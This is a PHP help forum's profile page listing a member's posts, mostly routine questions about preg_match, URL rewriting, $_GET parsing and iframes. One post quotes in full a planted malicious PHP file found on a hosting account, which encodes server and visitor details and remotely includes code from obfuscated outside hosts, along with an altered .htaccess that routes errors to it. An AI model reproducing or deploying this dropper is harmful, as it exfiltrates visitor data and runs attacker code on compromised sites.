Jump to content

Baving

Members
  • Posts

    19
  • Joined

  • Last visited

    Never

Profile Information

  • Gender
    Not Telling

Baving's Achievements

Member

Member (2/5)

0

Reputation

  1. I am not getting it from a database, I am getting the file contents from another site and then exploding the div tag to retrieve the content. Code: - if(@$_GET['do']=='getcount') { $ext = @$_GET['ext']; $file = file_get_contents("http://sitehere".$ext); $explode = explode("<td id=\"topbar-count\">",$file,2); $explode2 = explode("</td>", $explode[1],2); $count = $explode2[0]; echo $count; } I need the preg_match somewhere in there to remove the members online and only show the number.
  2. Hello, I am currently using a script which retrieves the following information "1,600 users online", however I only want the number. So is there anyway using preg_match to only get like "1,600"? Thanks
  3. Hello, I am currently baffled by something which is happening on a hosting account. Files have been appearing in each sub-directory of public_html with the names 4504.php for example. The file contents are: - <? error_reporting ; $s="e"; $a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF); $e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING); $f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $i=(isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : $SCRIPT_FILENAME); $j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s.".base64_encode($i).".".base64_encode($j); if ((include(base64_decode("aHR0cDovLw==").base64_decode("d3d3My5yc3NuZXdzLndz")."/?".$str))){} else {include(base64_decode("aHR0cDovLw==").base64_decode("d3d3My54bWxkYXRhLmluZm8=")."/?".$str);} ?> The .htaccess files in the folders change aswell for example: - Options -MultiViews ErrorDocument 404 //radio/74539.php I have never seen this before, the host of the server seems to think it is a PHP Injection. However it has done it before previously on another domain. Has anyone seen it before or know what it is. Any help would be great
  4. For one character you can use the ord function to return the ASCII value. The code below would echo 65 for example. <? $value = 'A'; echo ord($value); ?> www.php.net/ord
  5. You could do a refresh back to the reffering page: - <? @header("Location: ".$_SERVER['HTTP_REFERER']); ?>
  6. There may be factors which might be making it slow such as the search engine site running slow, or your host is running slow.
  7. Following error message: Parse error: parse error on line: 11 I did remove the dot on line 11 to: - [code=php:0] $reason = $var." "; [/code] Which gave: - Reason: dumb Username: For
  8. Hello, If I was to type in something like /ban username reason into a chatroom how would I get it to recognise the /ban and then split (retrieve) the username and reason so they can be processed into a SQL query. Thanks
  9. This is my page.php script: - [code] if(@$_GET['p']) { $page = security($_GET['p']); $sql = "SELECT * FROM page WHERE id = '". $page ."' LIMIT 1"; $query = mysql_query($sql); if(!$query) { sql_error(mysql_error()); } if(mysql_num_rows($query)==0) { die("Page 404 not found!"); } $page = mysql_fetch_array($query); echo $page['content']; } [/code] When I try and use the .htaccess file I get the following error:- [quote]Internal Server Error The server encountered an internal error or misconfiguration and was unable to complete your request. Please contact the server administrator, admin@localhost and inform them of the time the error occurred, and anything you might have done that may have caused the error. More information about this error may be available in the server error log.[/quote]
  10. Hello, Is there anyway using PHP and .htaccess to accomplish the following: - I store content of the pages in a database and having a file like 'page.php?p=pagenamehere' to output the page in my view looks silly. Is there anyway I could do like.. www.mysite.com/pages/test.html When typing in a page name after /page/ it will check in the database to see if there is a page which the user entered. If so the page will be displayed. So the files do not have to be stored in the pages folder they are actually grabbed from the database. Thanks
  11. Hello, When a user submits a login form, and they enter the wrong information is there anyway to print an error message but in a different iframe to the one which contains the login file. Example: Login.php is located in the iframe 'login' the main iframe is called 'home' When a user submits the info the error message is displayed in the iframe 'home' Thanks
  12. Hello, I have seen some websites with page links such as: - news/uk/ news/world/ user/home/ guide/technology/ I persume it is some sort navigation system, and they don't create folders or anything themselves. Is there anyone which knows anything about this type of navigation? Thanks
  13. [quote author=obsidian link=topic=110257.msg445375#msg445375 date=1159807699] [code] <?php // individual items: foreach ($_GET as $key => $val) {   echo "{$key} => {$val}<br />\n"; } ?> [/code] good luck [/quote] That is what I am needing :) Any ideas how I could return the array to insert it into a database? So.. $query = mysql_query("INSERT INTO whatever (list) VALUES('$input')"); With $input being the contents of the foreach array?
  14. I am currently using this script: - [code]<? if ($_GET) { $mode = key($_GET); print $mode; } ?>[/code] Which is grabbing the text on the $_GET. But this is only collecting the first bit of information e.g.:- index.php?permission It would only print permission. Is there anyway so that it will get more information from the $_GET statment? e.g. index.php?permission&group=A So it would print permission&group=A Thanks.
  15. Is there any way in which php files can be disabled from being viewed from a browser but will still work if they are included on another file like include("admin/blah.php"); If you try and acess the folder or files within it you would get the page cannot be displayed message. I have tried this CHMOD but can't seem to get it to work, so I am wondering if there is a script you can use.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.